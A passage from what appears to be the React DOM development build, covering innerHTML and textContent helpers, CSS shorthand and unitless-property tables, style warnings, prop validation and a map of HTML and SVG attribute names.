  }

  /* globals MSApp */

  /**
   * Create a function which has 'unsafe' privileges (required by windows8 apps)
   */
  var createMicrosoftUnsafeLocalFunction = function (func) {
    if (typeof MSApp !== 'undefined' && MSApp.execUnsafeLocalFunction) {
      return function (arg0, arg1, arg2, arg3) {
        MSApp.execUnsafeLocalFunction(function () {
          return func(arg0, arg1, arg2, arg3);
        });
      };
    } else {
      return func;
    }
  };

  var reusableSVGContainer;
  /**
   * Set the innerHTML property of a node
   *
   * @param {DOMElement} node
   * @param {string} html
   * @internal
   */

  var setInnerHTML = createMicrosoftUnsafeLocalFunction(function (node, html) {
    if (node.namespaceURI === SVG_NAMESPACE) {

      if (!('innerHTML' in node)) {
        // IE does not have innerHTML for SVG nodes, so instead we inject the
        // new markup in a temp node and then move the child nodes across into
        // the target node
        reusableSVGContainer = reusableSVGContainer || document.createElement('div');
        reusableSVGContainer.innerHTML = '<svg>' + html.valueOf().toString() + '</svg>';
        var svgNode = reusableSVGContainer.firstChild;

        while (node.firstChild) {
          node.removeChild(node.firstChild);
        }

        while (svgNode.firstChild) {
          node.appendChild(svgNode.firstChild);
        }

        return;
      }
    }

    node.innerHTML = html;
  });

  /**
   * HTML nodeType values that represent the type of the node
   */
  var ELEMENT_NODE = 1;
  var TEXT_NODE = 3;
  var COMMENT_NODE = 8;
  var DOCUMENT_NODE = 9;
  var DOCUMENT_FRAGMENT_NODE = 11;

  /**
   * Set the textContent property of a node. For text updates, it's faster
   * to set the `nodeValue` of the Text node directly instead of using
   * `.textContent` which will remove the existing node and create a new one.
   *
   * @param {DOMElement} node
   * @param {string} text
   * @internal
   */

  var setTextContent = function (node, text) {
    if (text) {
      var firstChild = node.firstChild;

      if (firstChild && firstChild === node.lastChild && firstChild.nodeType === TEXT_NODE) {
        firstChild.nodeValue = text;
        return;
      }
    }

    node.textContent = text;
  };

  // List derived from Gecko source code:
  // https://github.com/mozilla/gecko-dev/blob/4e638efc71/layout/style/test/property_database.js
  var shorthandToLonghand = {
    animation: ['animationDelay', 'animationDirection', 'animationDuration', 'animationFillMode', 'animationIterationCount', 'animationName', 'animationPlayState', 'animationTimingFunction'],
    background: ['backgroundAttachment', 'backgroundClip', 'backgroundColor', 'backgroundImage', 'backgroundOrigin', 'backgroundPositionX', 'backgroundPositionY', 'backgroundRepeat', 'backgroundSize'],
    backgroundPosition: ['backgroundPositionX', 'backgroundPositionY'],
    border: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth', 'borderImageOutset', 'borderImageRepeat', 'borderImageSlice', 'borderImageSource', 'borderImageWidth', 'borderLeftColor', 'borderLeftStyle', 'borderLeftWidth', 'borderRightColor', 'borderRightStyle', 'borderRightWidth', 'borderTopColor', 'borderTopStyle', 'borderTopWidth'],
    borderBlockEnd: ['borderBlockEndColor', 'borderBlockEndStyle', 'borderBlockEndWidth'],
    borderBlockStart: ['borderBlockStartColor', 'borderBlockStartStyle', 'borderBlockStartWidth'],
    borderBottom: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth'],
    borderColor: ['borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor'],
    borderImage: ['borderImageOutset', 'borderImageRepeat', 'borderImageSlice', 'borderImageSource', 'borderImageWidth'],
    borderInlineEnd: ['borderInlineEndColor', 'borderInlineEndStyle', 'borderInlineEndWidth'],
    borderInlineStart: ['borderInlineStartColor', 'borderInlineStartStyle', 'borderInlineStartWidth'],
    borderLeft: ['borderLeftColor', 'borderLeftStyle', 'borderLeftWidth'],
    borderRadius: ['borderBottomLeftRadius', 'borderBottomRightRadius', 'borderTopLeftRadius', 'borderTopRightRadius'],
    borderRight: ['borderRightColor', 'borderRightStyle', 'borderRightWidth'],
    borderStyle: ['borderBottomStyle', 'borderLeftStyle', 'borderRightStyle', 'borderTopStyle'],
    borderTop: ['borderTopColor', 'borderTopStyle', 'borderTopWidth'],
    borderWidth: ['borderBottomWidth', 'borderLeftWidth', 'borderRightWidth', 'borderTopWidth'],
    columnRule: ['columnRuleColor', 'columnRuleStyle', 'columnRuleWidth'],
    columns: ['columnCount', 'columnWidth'],
    flex: ['flexBasis', 'flexGrow', 'flexShrink'],
    flexFlow: ['flexDirection', 'flexWrap'],
    font: ['fontFamily', 'fontFeatureSettings', 'fontKerning', 'fontLanguageOverride', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontVariantAlternates', 'fontVariantCaps', 'fontVariantEastAsian', 'fontVariantLigatures', 'fontVariantNumeric', 'fontVariantPosition', 'fontWeight', 'lineHeight'],
    fontVariant: ['fontVariantAlternates', 'fontVariantCaps', 'fontVariantEastAsian', 'fontVariantLigatures', 'fontVariantNumeric', 'fontVariantPosition'],
    gap: ['columnGap', 'rowGap'],
    grid: ['gridAutoColumns', 'gridAutoFlow', 'gridAutoRows', 'gridTemplateAreas', 'gridTemplateColumns', 'gridTemplateRows'],
    gridArea: ['gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart'],
    gridColumn: ['gridColumnEnd', 'gridColumnStart'],
    gridColumnGap: ['columnGap'],
    gridGap: ['columnGap', 'rowGap'],
    gridRow: ['gridRowEnd', 'gridRowStart'],
    gridRowGap: ['rowGap'],
    gridTemplate: ['gridTemplateAreas', 'gridTemplateColumns', 'gridTemplateRows'],
    listStyle: ['listStyleImage', 'listStylePosition', 'listStyleType'],
    margin: ['marginBottom', 'marginLeft', 'marginRight', 'marginTop'],
    marker: ['markerEnd', 'markerMid', 'markerStart'],
    mask: ['maskClip', 'maskComposite', 'maskImage', 'maskMode', 'maskOrigin', 'maskPositionX', 'maskPositionY', 'maskRepeat', 'maskSize'],
    maskPosition: ['maskPositionX', 'maskPositionY'],
    outline: ['outlineColor', 'outlineStyle', 'outlineWidth'],
    overflow: ['overflowX', 'overflowY'],
    padding: ['paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop'],
    placeContent: ['alignContent', 'justifyContent'],
    placeItems: ['alignItems', 'justifyItems'],
    placeSelf: ['alignSelf', 'justifySelf'],
    textDecoration: ['textDecorationColor', 'textDecorationLine', 'textDecorationStyle'],
    textEmphasis: ['textEmphasisColor', 'textEmphasisStyle'],
    transition: ['transitionDelay', 'transitionDuration', 'transitionProperty', 'transitionTimingFunction'],
    wordWrap: ['overflowWrap']
  };

  /**
   * CSS properties which accept numbers but are not in units of "px".
   */
  var isUnitlessNumber = {
    animationIterationCount: true,
    aspectRatio: true,
    borderImageOutset: true,
    borderImageSlice: true,
    borderImageWidth: true,
    boxFlex: true,
    boxFlexGroup: true,
    boxOrdinalGroup: true,
    columnCount: true,
    columns: true,
    flex: true,
    flexGrow: true,
    flexPositive: true,
    flexShrink: true,
    flexNegative: true,
    flexOrder: true,
    gridArea: true,
    gridRow: true,
    gridRowEnd: true,
    gridRowSpan: true,
    gridRowStart: true,
    gridColumn: true,
    gridColumnEnd: true,
    gridColumnSpan: true,
    gridColumnStart: true,
    fontWeight: true,
    lineClamp: true,
    lineHeight: true,
    opacity: true,
    order: true,
    orphans: true,
    tabSize: true,
    widows: true,
    zIndex: true,
    zoom: true,
    // SVG-related properties
    fillOpacity: true,
    floodOpacity: true,
    stopOpacity: true,
    strokeDasharray: true,
    strokeDashoffset: true,
    strokeMiterlimit: true,
    strokeOpacity: true,
    strokeWidth: true
  };
  /**
   * @param {string} prefix vendor-specific prefix, eg: Webkit
   * @param {string} key style name, eg: transitionDuration
   * @return {string} style name prefixed with `prefix`, properly camelCased, eg:
   * WebkitTransitionDuration
   */

  function prefixKey(prefix, key) {
    return prefix + key.charAt(0).toUpperCase() + key.substring(1);
  }
  /**
   * Support style names that may come passed in prefixed by adding permutations
   * of vendor prefixes.
   */


  var prefixes = ['Webkit', 'ms', 'Moz', 'O']; // Using Object.keys here, or else the vanilla for-in loop makes IE8 go into an
  // infinite loop, because it iterates over the newly added props too.

  Object.keys(isUnitlessNumber).forEach(function (prop) {
    prefixes.forEach(function (prefix) {
      isUnitlessNumber[prefixKey(prefix, prop)] = isUnitlessNumber[prop];
    });
  });

  /**
   * Convert a value into the proper css writable value. The style name `name`
   * should be logical (no hyphens), as specified
   * in `CSSProperty.isUnitlessNumber`.
   *
   * @param {string} name CSS property name such as `topMargin`.
   * @param {*} value CSS property value such as `10px`.
   * @return {string} Normalized style value with dimensions applied.
   */

  function dangerousStyleValue(name, value, isCustomProperty) {
    // Note that we've removed escapeTextForBrowser() calls here since the
    // whole string will be escaped when the attribute is injected into
    // the markup. If you provide unsafe user data here they can inject
    // arbitrary CSS which may be problematic (I couldn't repro this):
    // https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    // http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/
    // This is not an XSS hole but instead a potential CSS injection issue
    // which has lead to a greater discussion about how we're going to
    // trust URLs moving forward. See #2115901
    var isEmpty = value == null || typeof value === 'boolean' || value === '';

    if (isEmpty) {
      return '';
    }

    if (!isCustomProperty && typeof value === 'number' && value !== 0 && !(isUnitlessNumber.hasOwnProperty(name) && isUnitlessNumber[name])) {
      return value + 'px'; // Presumes implicit 'px' suffix for unitless numbers
    }

    {
      checkCSSPropertyStringCoercion(value, name);
    }

    return ('' + value).trim();
  }

  var uppercasePattern = /([A-Z])/g;
  var msPattern = /^ms-/;
  /**
   * Hyphenates a camelcased CSS property name, for example:
   *
   *   > hyphenateStyleName('backgroundColor')
   *   < "background-color"
   *   > hyphenateStyleName('MozTransition')
   *   < "-moz-transition"
   *   > hyphenateStyleName('msTransition')
   *   < "-ms-transition"
   *
   * As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix
   * is converted to `-ms-`.
   */

  function hyphenateStyleName(name) {
    return name.replace(uppercasePattern, '-$1').toLowerCase().replace(msPattern, '-ms-');
  }

  var warnValidStyle = function () {};

  {
    // 'msTransform' is correct, but the other prefixes should be capitalized
    var badVendoredStyleNamePattern = /^(?:webkit|moz|o)[A-Z]/;
    var msPattern$1 = /^-ms-/;
    var hyphenPattern = /-(.)/g; // style values shouldn't contain a semicolon

    var badStyleValueWithSemicolonPattern = /;\s*$/;
    var warnedStyleNames = {};
    var warnedStyleValues = {};
    var warnedForNaNValue = false;
    var warnedForInfinityValue = false;

    var camelize = function (string) {
      return string.replace(hyphenPattern, function (_, character) {
        return character.toUpperCase();
      });
    };

    var warnHyphenatedStyleName = function (name) {
      if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
        return;
      }

      warnedStyleNames[name] = true;

      error('Unsupported style property %s. Did you mean %s?', name, // As Andi Smith suggests
      // (http://www.andismith.com/blog/2012/02/modernizr-prefixed/), an `-ms` prefix
      // is converted to lowercase `ms`.
      camelize(name.replace(msPattern$1, 'ms-')));
    };

    var warnBadVendoredStyleName = function (name) {
      if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
        return;
      }

      warnedStyleNames[name] = true;

      error('Unsupported vendor-prefixed style property %s. Did you mean %s?', name, name.charAt(0).toUpperCase() + name.slice(1));
    };

    var warnStyleValueWithSemicolon = function (name, value) {
      if (warnedStyleValues.hasOwnProperty(value) && warnedStyleValues[value]) {
        return;
      }

      warnedStyleValues[value] = true;

      error("Style property values shouldn't contain a semicolon. " + 'Try "%s: %s" instead.', name, value.replace(badStyleValueWithSemicolonPattern, ''));
    };

    var warnStyleValueIsNaN = function (name, value) {
      if (warnedForNaNValue) {
        return;
      }

      warnedForNaNValue = true;

      error('`NaN` is an invalid value for the `%s` css style property.', name);
    };

    var warnStyleValueIsInfinity = function (name, value) {
      if (warnedForInfinityValue) {
        return;
      }

      warnedForInfinityValue = true;

      error('`Infinity` is an invalid value for the `%s` css style property.', name);
    };

    warnValidStyle = function (name, value) {
      if (name.indexOf('-') > -1) {
        warnHyphenatedStyleName(name);
      } else if (badVendoredStyleNamePattern.test(name)) {
        warnBadVendoredStyleName(name);
      } else if (badStyleValueWithSemicolonPattern.test(value)) {
        warnStyleValueWithSemicolon(name, value);
      }

      if (typeof value === 'number') {
        if (isNaN(value)) {
          warnStyleValueIsNaN(name, value);
        } else if (!isFinite(value)) {
          warnStyleValueIsInfinity(name, value);
        }
      }
    };
  }

  var warnValidStyle$1 = warnValidStyle;

  /**
   * Operations for dealing with CSS properties.
   */

  /**
   * This creates a string that is expected to be equivalent to the style
   * attribute generated by server-side rendering. It by-passes warnings and
   * security checks so it's not safe to use this value for anything other than
   * comparison. It is only used in DEV for SSR validation.
   */

  function createDangerousStringForStyles(styles) {
    {
      var serialized = '';
      var delimiter = '';

      for (var styleName in styles) {
        if (!styles.hasOwnProperty(styleName)) {
          continue;
        }

        var styleValue = styles[styleName];

        if (styleValue != null) {
          var isCustomProperty = styleName.indexOf('--') === 0;
          serialized += delimiter + (isCustomProperty ? styleName : hyphenateStyleName(styleName)) + ':';
          serialized += dangerousStyleValue(styleName, styleValue, isCustomProperty);
          delimiter = ';';
        }
      }

      return serialized || null;
    }
  }
  /**
   * Sets the value for multiple styles on a node.  If a value is specified as
   * '' (empty string), the corresponding style property will be unset.
   *
   * @param {DOMElement} node
   * @param {object} styles
   */

  function setValueForStyles(node, styles) {
    var style = node.style;

    for (var styleName in styles) {
      if (!styles.hasOwnProperty(styleName)) {
        continue;
      }

      var isCustomProperty = styleName.indexOf('--') === 0;

      {
        if (!isCustomProperty) {
          warnValidStyle$1(styleName, styles[styleName]);
        }
      }

      var styleValue = dangerousStyleValue(styleName, styles[styleName], isCustomProperty);

      if (styleName === 'float') {
        styleName = 'cssFloat';
      }

      if (isCustomProperty) {
        style.setProperty(styleName, styleValue);
      } else {
        style[styleName] = styleValue;
      }
    }
  }

  function isValueEmpty(value) {
    return value == null || typeof value === 'boolean' || value === '';
  }
  /**
   * Given {color: 'red', overflow: 'hidden'} returns {
   *   color: 'color',
   *   overflowX: 'overflow',
   *   overflowY: 'overflow',
   * }. This can be read as "the overflowY property was set by the overflow
   * shorthand". That is, the values are the property that each was derived from.
   */


  function expandShorthandMap(styles) {
    var expanded = {};

    for (var key in styles) {
      var longhands = shorthandToLonghand[key] || [key];

      for (var i = 0; i < longhands.length; i++) {
        expanded[longhands[i]] = key;
      }
    }

    return expanded;
  }
  /**
   * When mixing shorthand and longhand property names, we warn during updates if
   * we expect an incorrect result to occur. In particular, we warn for:
   *
   * Updating a shorthand property (longhand gets overwritten):
   *   {font: 'foo', fontVariant: 'bar'} -> {font: 'baz', fontVariant: 'bar'}
   *   becomes .style.font = 'baz'
   * Removing a shorthand property (longhand gets lost too):
   *   {font: 'foo', fontVariant: 'bar'} -> {fontVariant: 'bar'}
   *   becomes .style.font = ''
   * Removing a longhand property (should revert to shorthand; doesn't):
   *   {font: 'foo', fontVariant: 'bar'} -> {font: 'foo'}
   *   becomes .style.fontVariant = ''
   */


  function validateShorthandPropertyCollisionInDev(styleUpdates, nextStyles) {
    {
      if (!nextStyles) {
        return;
      }

      var expandedUpdates = expandShorthandMap(styleUpdates);
      var expandedStyles = expandShorthandMap(nextStyles);
      var warnedAbout = {};

      for (var key in expandedUpdates) {
        var originalKey = expandedUpdates[key];
        var correctOriginalKey = expandedStyles[key];

        if (correctOriginalKey && originalKey !== correctOriginalKey) {
          var warningKey = originalKey + ',' + correctOriginalKey;

          if (warnedAbout[warningKey]) {
            continue;
          }

          warnedAbout[warningKey] = true;

          error('%s a style property during rerender (%s) when a ' + 'conflicting property is set (%s) can lead to styling bugs. To ' + "avoid this, don't mix shorthand and non-shorthand properties " + 'for the same value; instead, replace the shorthand with ' + 'separate values.', isValueEmpty(styleUpdates[originalKey]) ? 'Removing' : 'Updating', originalKey, correctOriginalKey);
        }
      }
    }
  }

  // For HTML, certain tags should omit their close tag. We keep a list for
  // those special-case tags.
  var omittedCloseTags = {
    area: true,
    base: true,
    br: true,
    col: true,
    embed: true,
    hr: true,
    img: true,
    input: true,
    keygen: true,
    link: true,
    meta: true,
    param: true,
    source: true,
    track: true,
    wbr: true // NOTE: menuitem's close tag should be omitted, but that causes problems.

  };

  // `omittedCloseTags` except that `menuitem` should still have its closing tag.

  var voidElementTags = assign({
    menuitem: true
  }, omittedCloseTags);

  var HTML = '__html';

  function assertValidProps(tag, props) {
    if (!props) {
      return;
    } // Note the use of `==` which checks for null or undefined.


    if (voidElementTags[tag]) {
      if (props.children != null || props.dangerouslySetInnerHTML != null) {
        throw new Error(tag + " is a void element tag and must neither have `children` nor " + 'use `dangerouslySetInnerHTML`.');
      }
    }

    if (props.dangerouslySetInnerHTML != null) {
      if (props.children != null) {
        throw new Error('Can only set one of `children` or `props.dangerouslySetInnerHTML`.');
      }

      if (typeof props.dangerouslySetInnerHTML !== 'object' || !(HTML in props.dangerouslySetInnerHTML)) {
        throw new Error('`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' + 'Please visit https://reactjs.org/link/dangerously-set-inner-html ' + 'for more information.');
      }
    }

    {
      if (!props.suppressContentEditableWarning && props.contentEditable && props.children != null) {
        error('A component is `contentEditable` and contains `children` managed by ' + 'React. It is now your responsibility to guarantee that none of ' + 'those nodes are unexpectedly modified or duplicated. This is ' + 'probably not intentional.');
      }
    }

    if (props.style != null && typeof props.style !== 'object') {
      throw new Error('The `style` prop expects a mapping from style properties to values, ' + "not a string. For example, style={{marginRight: spacing + 'em'}} when " + 'using JSX.');
    }
  }

  function isCustomComponent(tagName, props) {
    if (tagName.indexOf('-') === -1) {
      return typeof props.is === 'string';
    }

    switch (tagName) {
      // These are reserved SVG and MathML elements.
      // We don't mind this list too much because we expect it to never grow.
      // The alternative is to track the namespace in a few places which is convoluted.
      // https://w3c.github.io/webcomponents/spec/custom/#custom-elements-core-concepts
      case 'annotation-xml':
      case 'color-profile':
      case 'font-face':
      case 'font-face-src':
      case 'font-face-uri':
      case 'font-face-format':
      case 'font-face-name':
      case 'missing-glyph':
        return false;

      default:
        return true;
    }
  }

  // When adding attributes to the HTML or SVG allowed attribute list, be sure to
  // also add them to this module to ensure casing and incorrect name
  // warnings.
  var possibleStandardNames = {
    // HTML
    accept: 'accept',
    acceptcharset: 'acceptCharset',
    'accept-charset': 'acceptCharset',
    accesskey: 'accessKey',
    action: 'action',
    allowfullscreen: 'allowFullScreen',
    alt: 'alt',
    as: 'as',
    async: 'async',
    autocapitalize: 'autoCapitalize',
    autocomplete: 'autoComplete',
    autocorrect: 'autoCorrect',
    autofocus: 'autoFocus',
    autoplay: 'autoPlay',
    autosave: 'autoSave',
    capture: 'capture',
    cellpadding: 'cellPadding',
    cellspacing: 'cellSpacing',
    challenge: 'challenge',
    charset: 'charSet',
    checked: 'checked',
    children: 'children',
    cite: 'cite',
    class: 'className',
    classid: 'classID',
    classname: 'className',
    cols: 'cols',
    colspan: 'colSpan',
    content: 'content',
    contenteditable: 'contentEditable',
    contextmenu: 'contextMenu',
    controls: 'controls',
    controlslist: 'controlsList',
    coords: 'coords',
    crossorigin: 'crossOrigin',
    dangerouslysetinnerhtml: 'dangerouslySetInnerHTML',
    data: 'data',
    datetime: 'dateTime',
    default: 'default',
    defaultchecked: 'defaultChecked',
    defaultvalue: 'defaultValue',
    defer: 'defer',
    dir: 'dir',
    disabled: 'disabled',
    disablepictureinpicture: 'disablePictureInPicture',
    disableremoteplayback: 'disableRemotePlayback',
    download: 'download',
    draggable: 'draggable',
    enctype: 'encType',
    enterkeyhint: 'enterKeyHint',
    for: 'htmlFor',
    form: 'form',
    formmethod: 'formMethod',
    formaction: 'formAction',
    formenctype: 'formEncType',
    formnovalidate: 'formNoValidate',
    formtarget: 'formTarget',
    frameborder: 'frameBorder',
    headers: 'headers',
    height: 'height',
    hidden: 'hidden',
    high: 'high',
    href: 'href',
    hreflang: 'hrefLang',
    htmlfor: 'htmlFor',
    httpequiv: 'httpEquiv',
    'http-equiv': 'httpEquiv',
    icon: 'icon',
    id: 'id',
    imagesizes: 'imageSizes',
    imagesrcset: 'imageSrcSet',
    innerhtml: 'innerHTML',
    inputmode: 'inputMode',
    integrity: 'integrity',
    is: 'is',
    itemid: 'itemID',
    itemprop: 'itemProp',
    itemref: 'itemRef',
    itemscope: 'itemScope',
    itemtype: 'itemType',
    keyparams: 'keyParams',
    keytype: 'keyType',
    kind: 'kind',
    label: 'label',
    lang: 'lang',
    list: 'list',
    loop: 'loop',
    low: 'low',
    manifest: 'manifest',
    marginwidth: 'marginWidth',
    marginheight: 'marginHeight',
    max: 'max',
    maxlength: 'maxLength',
    media: 'media',
    mediagroup: 'mediaGroup',
    method: 'method',
    min: 'min',
    minlength: 'minLength',
    multiple: 'multiple',
    muted: 'muted',
    name: 'name',
    nomodule: 'noModule',
    nonce: 'nonce',
    novalidate: 'noValidate',
    open: 'open',
    optimum: 'optimum',
    pattern: 'pattern',
    placeholder: 'placeholder',
    playsinline: 'playsInline',
    poster: 'poster',
    preload: 'preload',
    profile: 'profile',
    radiogroup: 'radioGroup',
    readonly: 'readOnly',
    referrerpolicy: 'referrerPolicy',
    rel: 'rel',
    required: 'required',
    reversed: 'reversed',
    role: 'role',
    rows: 'rows',
    rowspan: 'rowSpan',
    sandbox: 'sandbox',
    scope: 'scope',
    scoped: 'scoped',
    scrolling: 'scrolling',
    seamless: 'seamless',
    selected: 'selected',
    shape: 'shape',
    size: 'size',
    sizes: 'sizes',
    span: 'span',
    spellcheck: 'spellCheck',
    src: 'src',
    srcdoc: 'srcDoc',
    srclang: 'srcLang',
    srcset: 'srcSet',
    start: 'start',
    step: 'step',
    style: 'style',
    summary: 'summary',
    tabindex: 'tabIndex',
    target: 'target',
    title: 'title',
    type: 'type',
    usemap: 'useMap',
    value: 'value',
    width: 'width',
    wmode: 'wmode',
    wrap: 'wrap',
    // SVG
    about: 'about',
    accentheight: 'accentHeight',
    'accent-height': 'accentHeight',
    accumulate: 'accumulate',
    additive: 'additive',
    alignmentbaseline: 'alignmentBaseline',
    'alignment-baseline': 'alignmentBaseline',
    allowreorder: 'allowReorder',
    alphabetic: 'alphabetic',
    amplitude: 'amplitude',
    arabicform: 'arabicForm',
    'arabic-form': 'arabicForm',
    ascent: 'ascent',
    attributename: 'attributeName',
    attributetype: 'attributeType',
    autoreverse: 'autoReverse',
    azimuth: 'azimuth',
    basefrequency: 'baseFrequency',
    baselineshift: 'baselineShift',
    'baseline-shift': 'baselineShift',
    baseprofile: 'baseProfile',
    bbox: 'bbox',
    begin: 'begin',
    bias: 'bias',
    by: 'by',
    calcmode: 'calcMode',
    capheight: 'capHeight',
    'cap-height': 'capHeight',
    clip: 'clip',
    clippath: 'clipPath',
    'clip-path': 'clipPath',
    clippathunits: 'clipPathUnits',
    cliprule: 'clipRule',
    'clip-rule': 'clipRule',
    color: 'color',
    colorinterpolation: 'colorInterpolation',
    'color-interpolation': 'colorInterpolation',
    colorinterpolationfilters: 'colorInterpolationFilters',
    'color-interpolation-filters': 'colorInterpolationFilters',
    colorprofile: 'colorProfile',
    'color-profile': 'colorProfile',
    colorrendering: 'colorRendering',
    'color-rendering': 'colorRendering',
    contentscripttype: 'contentScriptType',
    contentstyletype: 'contentStyleType',
    cursor: 'cursor',
    cx: 'cx',
    cy: 'cy',
    d: 'd',
    datatype: 'datatype',
    decelerate: 'decelerate',
    descent: 'descent',
    diffuseconstant: 'diffuseConstant',
    direction: 'direction',
    display: 'display',
    divisor: 'divisor',
    dominantbaseline: 'dominantBaseline',
    'dominant-baseline': 'dominantBaseline',
    dur: 'dur',
    dx: 'dx',
    dy: 'dy',
    edgemode: 'edgeMode',
    elevation: 'elevation',
    enablebackground: 'enableBackground',
    'enable-background': 'enableBackground',
    end: 'end',
    exponent: 'exponent',
    externalresourcesrequired: 'externalResourcesRequired',
    fill: 'fill',
    fillopacity: 'fillOpacity',
    'fill-opacity': 'fillOpacity',
    fillrule: 'fillRule',
    'fill-rule': 'fillRule',
    filter: 'filter',
    filterres: 'filterRes',
    filterunits: 'filterUnits',
    floodopacity: 'floodOpacity',
    'flood-opacity': 'floodOpacity',
    floodcolor: 'floodColor',
    'flood-color': 'floodColor',
    focusable: 'focusable',
    fontfamily: 'fontFamily',
    'font-family': 'fontFamily',
    fontsize: 'fontSize',
    'font-size': 'fontSize',
    fontsizeadjust: 'fontSizeAdjust',
    'font-size-adjust': 'fontSizeAdjust',
    fontstretch: 'fontStretch',
    'font-stretch': 'fontStretch',
    fontstyle: 'fontStyle',
    'font-style': 'fontStyle',
    fontvariant: 'fontVariant',
    'font-variant': 'fontVariant',
    fontweight: 'fontWeight',
    'font-weight': 'fontWeight',
    format: 'format',
    from: 'from',
    fx: 'fx',
    fy: 'fy',
    g1: 'g1',
    g2: 'g2',
    glyphname: 'glyphName',
    'glyph-name': 'glyphName',
    glyphorientationhorizontal: 'glyphOrientationHorizontal',
    'glyph-orientation-horizontal': 'glyphOrientationHorizontal',
    glyphorientationvertical: 'glyphOrientationVertical',
    'glyph-orientation-vertical': 'glyphOrientationVertical',
    glyphref: 'glyphRef',
    gradienttransform: 'gradientTransform',
    gradientunits: 'gradientUnits',
    hanging: 'hanging',
    horizadvx: 'horizAdvX',
    'horiz-adv-x': 'horizAdvX',
    horizoriginx: 'horizOriginX',
    'horiz-origin-x': 'horizOriginX',
    ideographic: 'ideographic',
    imagerendering: 'imageRendering',
    'image-rendering': 'imageRendering',
    in2: 'in2',
    in: 'in',
    inlist: 'inlist',
    intercept: 'intercept',
    k1: 'k1',
    k2: 'k2',
    k3: 'k3',
    k4: 'k4',
    k: 'k',
    kernelmatrix: 'kernelMatrix',
    kernelunitlength: 'kernelUnitLength',
    kerning: 'kerning',
    keypoints: 'keyPoints',
    keysplines: 'keySplines',
    keytimes: 'keyTimes',
    lengthadjust: 'lengthAdjust',
    letterspacing: 'letterSpacing',
    'letter-spacing': 'letterSpacing',
    lightingcolor: 'lightingColor',
    'lighting-color': 'lightingColor',
    limitingconeangle: 'limitingConeAngle',
    local: 'local',
    markerend: 'markerEnd',
    'marker-end': 'markerEnd',
    markerheight: 'markerHeight',
    markermid: 'markerMid',
    'marker-mid': 'markerMid',
    markerstart: 'markerStart',
    'marker-start': 'markerStart',
    markerunits: 'markerUnits',
    markerwidth: 'markerWidth',
    mask: 'mask',
    maskcontentunits: 'maskContentUnits',
    maskunits: 'maskUnits',
    mathematical: 'mathematical',
    mode: 'mode',
    numoctaves: 'numOctaves',
    offset: 'offset',
    opacity: 'opacity',
    operator: 'operator',
    order: 'order',
    orient: 'orient',
    orientation: 'orientation',
    origin: 'origin',
    overflow: 'overflow',
    overlineposition: 'overlinePosition',
    'overline-position': 'overlinePosition',
    overlinethickness: 'overlineThickness',
    'overline-thickness': 'overlineThickness',
    paintorder: 'paintOrder',
    'paint-order': 'paintOrder',
    panose1: 'panose1',
    'panose-1': 'panose1',
    pathlength: 'pathLength',
    patterncontentunits: 'patternContentUnits',
    patterntransform: 'patternTransform',
    patternunits: 'patternUnits',
    pointerevents: 'pointerEvents',
    'pointer-events': 'pointerEvents',
    points: 'points',
    pointsatx: 'pointsAtX',
    pointsaty: 'pointsAtY',
    pointsatz: 'pointsAtZ',
    prefix: 'prefix',
    preservealpha: 'preserveAlpha',
    preserveaspectratio: 'preserveAspectRatio',
    primitiveunits: 'primitiveUnits',
    property: 'property',
    r: 'r',
    radius: 'radius',
    refx: 'refX',
    refy: 'refY',
    renderingintent: 'renderingIntent',
    'rendering-intent': 'renderingIntent',
    repeatcount: 'repeatCount',
    repeatdur: 'repeatDur',
    requiredextensions: 'requiredExtensions',
    requiredfeatures: 'requiredFeatures',
    resource: 'resource',
    restart: 'restart',
    result: 'result',
    results: 'results',
    rotate: 'rotate',
    rx: 'rx',
    ry: 'ry',
    scale: 'scale',
    security: 'security',
    seed: 'seed',
    shaperendering: 'shapeRendering',
    'shape-rendering': 'shapeRendering',
    slope: 'slope',
    spacing: 'spacing',
    specularconstant: 'specularConstant',
    specularexponent: 'specularExponent',
    speed: 'speed',
    spreadmethod: 'spreadMethod',
    startoffset: 'startOffset',
    stddeviation: 'stdDeviation',
    stemh: 'stemh',
    stemv: 'stemv',
    stitchtiles: 'stitchTiles',
    stopcolor: 'stopColor',
    'stop-color': 'stopColor',
    stopopacity: 'stopOpacity',
    'stop-opacity': 'stopOpacity',
    strikethroughposition: 'strikethroughPosition',
    'strikethrough-position': 'strikethroughPosition',
    strikethroughthickness: 'strikethroughThickness',
    'strikethrough-thickness': 'strikethroughThickness',
    string: 'string',
    stroke: 'stroke',
    strokedasharray: 'strokeDasharray',
    'stroke-dasharray': 'strokeDasharray',
    strokedashoffset: 'strokeDashoffset',
    'stroke-dashoffset': 'strokeDashoffset',
    strokelinecap: 'strokeLinecap',
    'stroke-linecap': 'strokeLinecap',
    strokelinejoin: 'strokeLinejoin',
    'stroke-linejoin': 'strokeLinejoin',
    strokemiterlimit: 'strokeMiterlimit',
    'stroke-miterlimit': 'strokeMiterlimit',
    strokewidth: 'strokeWidth',
    'stroke-width': 'strokeWidth',
    strokeopacity: 'strokeOpacity',
    'stroke-opacity': 'strokeOpacity',
    suppresscontenteditablewarning: 'suppressContentEditableWarning',
    suppresshydrationwarning: 'suppressHydrationWarning',
    surfacescale: 'surfaceScale',
    systemlanguage: 'systemLanguage',
    tablevalues: 'tableValues',
    targetx: 'targetX',
    targety: 'targetY',
    textanchor: 'textAnchor',
    'text-anchor': 'textAnchor',
    textdecoration: 'textDecoration',
    'text-decoration': 'textDecoration',
    textlength: 'textLength',
    textrendering: 'textRendering',
    'text-rendering': 'textRendering',
    to: 'to',
    transform: 'transform',
    typeof: 'typeof',
    u1: 'u1',
    u2: 'u2',
    underlineposition: 'underlinePosition',
    'underline-position': 'underlinePosition',
    underlinethickness: 'underlineThickness',
    'underline-thickness': 'underlineThickness',
    unicode: 'unicode',
    unicodebidi: 'unicodeBidi',
    'unicode-bidi': 'unicodeBidi',
